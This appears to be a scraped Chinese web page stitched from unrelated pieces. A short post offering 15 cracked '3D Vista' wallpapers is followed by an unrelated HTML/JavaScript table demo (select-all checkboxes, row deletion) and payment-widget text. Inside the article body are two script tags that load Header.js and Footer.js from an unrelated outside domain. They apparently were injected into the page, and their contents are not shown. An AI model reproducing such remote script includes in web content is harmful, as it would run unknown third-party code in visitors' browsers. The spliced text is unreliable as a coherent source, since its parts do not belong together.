第二波视觉震撼冲击 15张全3D Vista壁纸

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>

  可能是由于上次笔者所发的“12张全3D Vista壁纸”色调有些暗,有的网友说还不如更早前的非3D的Vista壁纸。此次笔者破解下载的全3D Vista壁纸色调大多色调不再是那么暗淡,想必网友会喜欢的。

  本文中除做了特别注明的,所有壁纸均为1024×768分辨率。


3D Vista壁纸

全3D Vista壁纸

3D Vista壁纸
全3D Vista壁纸

3D Vista壁纸
全3D Vista壁纸
文章来源于 http://vista.zol.com.cn 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是 JavaScript 代码实现: ```html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>表格操作</title> <style> table { width: 100%; border-collapse: collapse; } th, td { padding: 8px; border: 1px solid black; text-align: center; } .selected { background-color: yellow; } </style> </head> <body> <table id="myTable"> <tr> <th><input type="checkbox" id="checkAll" onclick="selectAll()"></th> <th>姓名</th> <th>出生日期</th> </tr> <tr> <td><input type="checkbox" class="checkbox"></td> <td>张文</td> <td>1969-1-1</td> </tr> <tr> <td><input type="checkbox" class="checkbox"></td> <td>张武</td> <td>1969-1-1</td> </tr> <tr> <td><input type="checkbox" class="checkbox"></td> <td>张双</td> <td>1969-1-1</td> </tr> <tr> <td><input type="checkbox" class="checkbox"></td> <td>张全</td> <td>1969-1-1</td> </tr> </table> <button onclick="deleteRows()">删除选中行</button> <script> var table = document.getElementById("myTable"); var checkboxes = document.getElementsByClassName("checkbox"); // 全选/取消全选 function selectAll() { for (var i = 0; i < checkboxes.length; i++) { checkboxes[i].checked = document.getElementById("checkAll").checked; } } // 表格背景色变化 table.onmouseover = function() { table.classList.add("selected"); }; table.onmouseout = function() { table.classList.remove("selected"); }; // 删除选中行 function deleteRows() { var numChecked = 0; for (var i = 0; i < checkboxes.length; i++) { if (checkboxes[i].checked) { numChecked++; table.deleteRow(i + 1); i--; } } if (numChecked === 0) { alert("请选择要删除的行!"); } } </script> </body> </html> ``` 以上代码实现了所需的功能: 1. 创建了一个三列五排的表格,第一排为全选复选框,姓名,出生日期,后面四排为不同的单选框; 2. 点击全选复选框时,全选下面四个复选框,再次点击全选复选框时取消全选; 3. 当鼠标进入表格和离开表格时,改变表格背景色,颜色为黄色; 4. 点击删除按钮时,判断是否有复选框被选中,如果没有则提示用户进行选择,否则确认删除,并从表格中删除相应行。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值